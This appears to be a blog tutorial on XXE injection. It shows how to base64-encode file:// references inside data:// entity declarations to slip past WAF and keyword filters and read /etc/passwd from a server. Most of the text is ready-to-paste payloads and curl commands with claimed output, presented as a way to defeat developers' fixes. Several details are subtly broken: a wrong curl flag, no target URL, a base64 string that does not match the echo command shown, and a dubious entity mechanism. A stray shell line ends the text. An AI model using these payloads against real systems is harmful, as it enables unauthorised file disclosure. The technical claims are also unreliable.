XXE Base64

XML External Entity (XXE) Injection exploits flaws found in the XML parser of a program which accepts an XML Document in some form or another. A complete guide on the topic is available here, however I’ve had a lot of interest specifically in Base64 xxe exploitation, and so here we’ll dive deep on how we can leverage this attack vector.

Assuming you have a grasp on what the basic XML XXE payloads are, we’ll just focus on leveraging Base64 data to help us either:
- Subvert Web Application Firewall rules
- Subvert simple string sanitization rules in the application

TLDR; Test Payloads

The following payloads will check for the vulnerability. If they work, you’ll receive /etc/passwd.

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

This will only work if the server accepts the data:// protocol! For customizing this, keep reading!

The Attack Vector

In general, the available attack vectors for an XXE vulnerability are as follows:
- File Inclusion
- Server Side Request Forgery (SSRF)
- XInclude
- File Upload (XML, SVG, DOCX, …)
- Content-Type Manipulation

In the case of Base64 XXE, we’re specifically looking to mask a file inclusion payload by using a base64 encoded string. This has the benefit of circumventing any primitive filtering of payloads that may block special characters or specific strings.

Let’s say there’s an API accepting an XML payload to generate a fish… We can create a payload, and use curl to post it.

curl -x POST -d '<fish><species>Salmon</species></fish>'

Salmon created!

Now let’s suppose there are missing protection measures, and we can preform XXE Injection straight-up like this:

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
curl -x POST -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><fish></fish>'

Invalid species: root:x:0:0:root:/root:/bin/bash

Just like that, we gained arbitrary file read on the system - fun! Let’s assume the developers of this application are active and attempt to remediate the issue by filtering for the file:// keyword…

Well, now we can just encode our payload as Base64!

echo 'file:///etc/passwd' | base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
curl -x POST -d '<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><fish></fish>'

Invalid species: root:x:0:0:root:/root:/bin/bash

Hint: This trick can be used for protocol’s other than file://, like php:// or jar://.

$ cd content && tree